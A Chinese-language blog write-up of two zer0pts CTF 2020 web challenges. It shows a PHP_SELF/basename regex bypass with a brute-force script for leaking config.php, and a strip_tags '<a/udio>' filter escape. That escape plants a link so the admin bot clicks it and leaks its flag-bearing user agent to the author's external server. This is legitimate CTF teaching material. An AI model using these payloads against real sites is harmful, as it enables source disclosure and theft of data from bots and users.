🇯🇵zer0pts CTF 2020 Writeup 4 min read
本文最后更新于 809 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com

日本的比赛,比赛时间和XCTF完美重合,XCTF就全程自闭,这个比赛也全程自闭


Can you guess it? (338pt)

这题挺好玩的,上来就可以得到源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

可以看到有一个随机数,如果能够破解随机数就能得到flag,在这里卡了半天也没做出来:

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}

但其实仔细看可以发现这里有蹊跷:

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("I don't know what you are thinking, but I won't let you read it :)");
}

正则的匹配ban掉了config.php。然后会highlight_file()

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

可以发现这里加上了basename() 可能是为了跨目录读文件,而问题正好出在了这里,演示:

当我访问test.php时,我可以在后面加上一些东西,比如/test.php/config.php,这样仍然访问的是test.php,但经过basename()后,传进highlight_file()函数的文件名就变成了config.php,如果能绕过那个正则,就可以得到config.php源码了,而题目告诉FLAG就在config.php里,这道题就做完了。所以说,那个随机数就是个障眼法

可以发现发现,这个正则匹配了config.php/为$_SERVER['PHP_SELF']的结尾

/config\.php\/*$/i

老套路了,可以用%0d之类的来污染绕过,这样仍然访问得到index.php:

/index.php/config.php/%0d

然后尝试在后面加上?source但是却失败了。这里绕过正则主要是通过后面填充一些东西来绕过正则中的$,于是写了个脚本跑一下看看什么东西能成功:

#Author:颖奇L'Amore www.gem-love.com
import requests
for i in range (0,500):
	url = 'http://3.112.201.75:8003/index.php/config.php/{}?source'.format(hex(i).replace('0x', '%'))
	r = requests.get(url)
	if r"zer0pts" in r.text:
		print(url)
		print(r.content)
		break

跑一下得到flag:

flag:zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}


MusicBlog (653pt)
考点一、代码审计

下载附件得到源码,源码很多,但是做题并不复杂。

首先是bot代码:

// (snipped)

const flag = 'zer0pts{<censored>}';

// (snipped)

const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
        await page.setUserAgent(flag);
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 10 * 1000,
        });
        await page.click('#like');
    } catch (err){
        console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
};

// (snipped)

bot将Flag设为UA去点击#like标签

接下来审一下题目web程序的源码,首先在init.php可以看到有CSP:

header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');

题目是一个博客,发表的文章会被后台管理员的Bot检查,加上CSP,基本可以断定是个xss的题。

在查看文章的post.php发现如下代码:

<h1 class="mt-4">
            <?php if ($post['published'] === '0') { ?><span class="badge badge-secondary">Secret</span><?php } ?>
            <?= $post['title'] ?>
          </h1>
          <span class="text-muted">by <?= $post['username'] ?> <span class="badge badge-love badge-pill">♥ <?= $post['likes'] ?></span></span>
          <div class="mt-3">
            <?= render_tags($post['content']) ?>
          </div>
          <div class="mt-3">
            <a href="like.php?id=<?= $post['id'] ?>" id="like" class="btn btn-love">♥ Like this post</a>
          </div>

在输出内容时调用了自定义的render_tags()函数,跟进到util.php:

function render_tags($str) {
  $str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
  $str = strip_tags($str, '<audio>'); // only allows `<audio>`
  return $str;
}

在发表新文章地方有这样的提示:

这个URL被替换成<audio>标签就是在render_tags()中进行的。这题目出的很明白了,还特意给了提示,URL也没有进行安全检查,基本可以肯定就要在这个URL上做文章。

考点二、strip_tags()安全问题

继续看render_tags()函数,在进行URL替换为<audio>标签之后,用strip_tags()函数剥去了除<audio>外的标签。假设我传入的URL为:

[[y1ng"></audio><script>alert(%27a%27);</script>"]]

经过preg_replace()替换后变成了:

<audio controls src="y1ng"></audio><script>alert('a');</script>""></audio>

可以看到<script><audio>标签中逃逸出来实现了xss,但是经过strip_tags()的剥去html标签处理后,字符串变成了:

<audio controls src="y1ng"></audio>alert('a');""></audio><br>

这样又不再能xss了。但是可以发现一个非常有用的信息,在alert()前面的</audio>标签是我们认为传进去的,同样被保留了,这是因为html标签成对出现,因此strip_tags()的处理也自动对白名单标签的闭合标签做了白名单处理,经测试,如果以闭合标签为allow参数,那么该函数则不会把它的“另一半”也allow了。

为什么对应的闭合标签会被同样保留?经过测试发现,假设allow的标签为<audio>,那么对这个标签加上斜线/同样被允许,并且这个/可以出现在任何位置、可以不止一个,这些都是被允许的:

</a/udio> <aud/io> <au//dio> </a/u/d/i/o>

那么,这样的标签是什么意思呢?

可以看到,在标签中间的/似乎把后面注释掉了,导致“udio”变成了白色

在浏览器中,<a/udio>会被解析成<a>于是就成了一个超链接

同样的</a/udio>会被浏览器认为是</a>,这样就能构造<a></a>的一对闭合标签实现了超链接

考点三、XSS

提交如下payload:

[[y1ng"></audio><a/udio href="https://gem-love.com">1</a/udio>]]

就会被处理成:

<audio controls src="y1ng"></audio><a/udio href="https://gem-love.com">1</a/udio>"></audio>

可以看到确实能够实现超链接:

但是超链接有什么用?能执行JavaScript吗?

再次回到bot:

await page.click('#like');

bot会点击#like,而现在我们能够通过标签的逃逸来自定义出一个超链接,只要在自定<a>中设置了like这个id,管理员bot就会带着flag来点击访问这个超链接,这时候就能得到flag了。payload:

[[y1ng"></audio><a/udio id="like" href="http://gem-love.com:12358">1</a/udio>]]

flag: zer0pts{M4sh1m4fr3sh!!}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://blog.gem-love.com/ctf/1898.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇